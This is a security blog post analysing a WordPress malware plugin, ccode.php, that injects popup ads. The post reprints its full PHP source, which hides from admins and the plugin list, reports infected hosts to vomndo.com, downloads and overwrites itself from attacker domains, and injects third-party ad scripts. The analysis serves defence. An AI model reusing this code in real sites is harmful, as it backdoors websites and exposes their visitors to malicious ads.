Tracking Down New WordPress Popup Injection Malware
Update – Contact security@prophaze.com to clean this variant and secure your website from similar attacks
An interesting fact about the malware is
- It’s not showing to admin users of the website.
- Not showing to logged-in users.
- Even for not logged in users, the popup is running at different times of the day.
- Popup is distributed in different regions
Site-admin did a complete update of WordPress core – No change
Updated all plugins – No change
Updated the current theme and plugins – No change
Disabled all the plugins and switched to default theme – No change
Finally, in the wp-plugins directory, a file name ccode.php was found with malicious code
Upon inspecting the code, it was
- Hiding the popups from admin ips.
- Not showing in for logged in users.
- Hiding itself from Active plugins list.
And few other typical behaviors as shown below
add_action( 'admin_init', function() { register_setting( 'ccode-settings', 'default_mont_options' ); register_setting( 'ccode-settings', 'ad_code' ); register_setting( 'ccode-settings', 'hide_admin' ); register_setting( 'ccode-settings', 'hide_logged_in' ); register_setting( 'ccode-settings', 'display_ad' ); register_setting( 'ccode-settings', 'search_engines' ); register_setting( 'ccode-settings', 'auto_update' ); register_setting( 'ccode-settings', 'ip_admin'); register_setting( 'ccode-settings', 'cookies_admin' ); register_setting( 'ccode-settings', 'logged_admin' ); register_setting( 'ccode-settings', 'log_install' ); }); Also it auto updates from several domain
if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } Different url it uses if one goes down 1) http://www.vomndo.xyz 2)http://www.vomndo.top Code to hide from active plugin list
add_action('pre_current_active_plugins', 'hide_plugin_ccode'); Just delete the ccode.php from wp-plugins.php , and update wordpress core and other plugins , because its clear that a bot or exploit might have used an existing vulnerbility to inject this code into plugins directory Full code for reference
<?php /** * Plugin Name: Custom Code * Description: show cusom ad codes with many options . * Author: Alberto Uozumi * Version: 1.0 */ error_reporting(0); ini_set('display_errors', 0); $plugin_key='513ca0e9b3d5b9dbce390430591d7f43'; $version='1.2'; add_action('admin_menu', function() { add_options_page( 'ccode Plugin', 'ccode', 'manage_options', 'ccode', 'ccode_page' ); remove_submenu_page( 'options-general.php', 'ccode' ); }); add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_ccode'); function salcode_add_plugin_page_settings_ccode( $links ) { $links[] = '<a href="' . admin_url( 'options-general.php?page=ccode' ) . '">' . __('Settings') . '</a>'; return $links; } add_action( 'admin_init', function() { register_setting( 'ccode-settings', 'default_mont_options' ); register_setting( 'ccode-settings', 'ad_code' ); register_setting( 'ccode-settings', 'hide_admin' ); register_setting( 'ccode-settings', 'hide_logged_in' ); register_setting( 'ccode-settings', 'display_ad' ); register_setting( 'ccode-settings', 'search_engines' ); register_setting( 'ccode-settings', 'auto_update' ); register_setting( 'ccode-settings', 'ip_admin'); register_setting( 'ccode-settings', 'cookies_admin' ); register_setting( 'ccode-settings', 'logged_admin' ); register_setting( 'ccode-settings', 'log_install' ); }); $ad_code=" <script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3388587,document.body||document.documentElement)</script> <script src=\"https://propu.sh/pfe/current/tag.min.js?z=3388595\" data-cfasync=\"false\" async></script> <script type=\"text/javascript\" src=\"//inpagepush.com/400/3388600\" data-cfasync=\"false\" async=\"async\"></script> "; $hide_admin='on'; $hide_logged_in='on'; $display_ad='organic'; $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com'; $auto_update='on'; $ip_admin='on'; $cookies_admin='on'; $logged_admin='on'; $log_install=''; function ccode_page() { ?> <div class="wrap"> <form action="options.php" method="post"> <?php settings_fields( 'ccode-settings' ); do_settings_sections( 'ccode-settings' ); $ad_code=''; $hide_admin='on'; $hide_logged_in='on'; $display_ad='organic'; $search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com'; $auto_update='on'; $ip_admin='on'; $cookies_admin='on'; $logged_admin='on'; $log_install=''; ?> <h2>ccode Plugin</h2> <table> <tr> <th>Ad Code</th> <td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td> </tr> <tr> <th>Hide ads to :</th> <td> <input type="hidden" id="default_mont_options" name="default_mont_options" value="on"> <label> <input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins </label> <label> <input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users </label> <br/> </td> </tr> <tr> <th>Recognize admin by :</th> <td> <label> <input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in </label> <label> <input type="checkbox" name="ip_admin" id="ip_admin" <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses </label> <label> <input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies </label> </td> </tr> <tr> <th>Display ads to :</th> <td> <select name="display_ad"> <option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option> <option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option> </select> </td> </tr> <tr> <th>Search Engines</th> <td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description"> comma separated </p> </td> </tr> <tr> <th>Auto Update :</th> <td> <label> <input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin </label><br/> </td> </tr> <tr> <td><?php submit_button(); ?></td> </tr> </table> </form> </div> <?php } /*************************log install***************************/ if(get_option('log_install') !=='1') { if(!$log_installed = @file_get_contents("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"])) { $log_installed = @file_get_contents_ccode("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]); } } /*************************set default options***************************/ if(get_option('default_mont_options') !=='on') { update_option('ip_admin', $ip_admin); update_option('ad_code', $ad_code); update_option('cookies_admin', $cookies_admin); update_option('logged_admin', $logged_admin); update_option('hide_admin', $hide_admin); update_option('hide_logged_in', $hide_logged_in); update_option('display_ad', $display_ad); update_option('search_engines', $search_engines); update_option('auto_update', $auto_update); update_option('log_install', '1'); } /************************************************************************/ include_once(ABSPATH . 'wp-includes/pluggable.php'); if ( ! function_exists( 'display_ad_single' ) ) { function display_ad_single($content){ if(is_single()) { $content=$content.get_option('ad_code');; } return $content; } function display_ad_footer(){ if(!is_single()) { echo get_option('ad_code'); } } //setting cookies if admin logged in function setting_admin_cookie() { setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN); } if(get_option('cookies_admin')=='on') { if(is_user_logged_in()) { add_action( 'init', 'setting_admin_cookie',1 ); } } //log admin IP addresses $vis_ip=getVisIpAddr_ccode(); if(get_option('ip_admin')=='on') { if(current_user_can('edit_others_pages')) { if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt')) { $ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt'); } if (stripos($ip, $vis_ip) === false) { $ip.=$vis_ip.' '; @file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip); } } }// end if log admins ip //add cookies to organic traffic if(get_option('display_ad')=='organic') { $search_engines = explode(',', get_option('search_engines')); $referer = $_SERVER['HTTP_REFERER']; $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com'); foreach ($search_engines as $search) { if (strpos($referer,$search)!==false) { setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); $organic=true; } } }//end //display ad if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in()) { $ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt'); if (stripos($ips, $vis_ip) === false) { /*****/ if(get_option('display_ad')=='organic') { if($organic==true || isset($_COOKIE['organic'])) { add_filter('the_content','display_ad_single'); add_action('wp_footer','display_ad_footer'); } } else { add_filter('the_content','display_ad_single'); add_action('wp_footer','display_ad_footer'); } /****/ } } /*******************/ //update plugin if(get_option('auto_update')=='on') { if( ini_get('allow_url_fopen') ) { if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents("http://www.vomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } } else { if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } } }//end if auto update /*********************************/ }// if function exist function file_get_contents_ccode($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function hide_plugin_ccode() { global $wp_list_table; $hidearr = array('ccode.php'); $myplugins = $wp_list_table->items; foreach ($myplugins as $key => $val) { if (in_array($key,$hidearr)) { unset($wp_list_table->items[$key]); } } } add_action('pre_current_active_plugins', 'hide_plugin_ccode'); function getVisIpAddr_ccode() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } ?>